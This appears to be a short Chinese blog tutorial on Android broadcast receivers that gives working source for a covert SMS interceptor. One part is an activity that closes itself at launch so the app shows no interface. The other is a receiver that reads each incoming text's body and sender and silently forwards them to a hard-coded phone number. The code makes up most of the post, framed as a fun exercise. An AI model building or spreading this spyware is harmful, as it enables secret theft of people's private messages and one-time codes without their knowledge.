短信监听器学习

还是关于broadcastreceiver的应用，比较有趣~~~·

1 定义一个activity，并删除布局文件，并写入finish（）方法，使其一开始就挂掉~~~~~

package com.djf.smslistener;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		finish();
	}
}

2 定义一个广播接收者，监听短信的到来并获取短信的内容，同时还可以将短信发给其他人~~~~

package com.djf.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsBroadCastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		Object[] objects = (Object[]) intent.getExtras().get("pdus");
		for (Object object : objects) {
			// SmsMessage smsMessage = SmsMessage.createFromPdu((byte[])
			// object);
			// String bodyString = smsMessage.getMessageBody();
			// String destion = smsMessage.getOriginatingAddress();
			SmsMessage smsMessage = android.telephony.SmsMessage
					.createFromPdu((byte[]) object);
			String bodyString = smsMessage.getMessageBody();
			String destion = smsMessage.getOriginatingAddress();
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("13707620956", null, bodyString+"````"+destion, null, null);
		}
	}

}

3 注意权限的获取，很重要··············
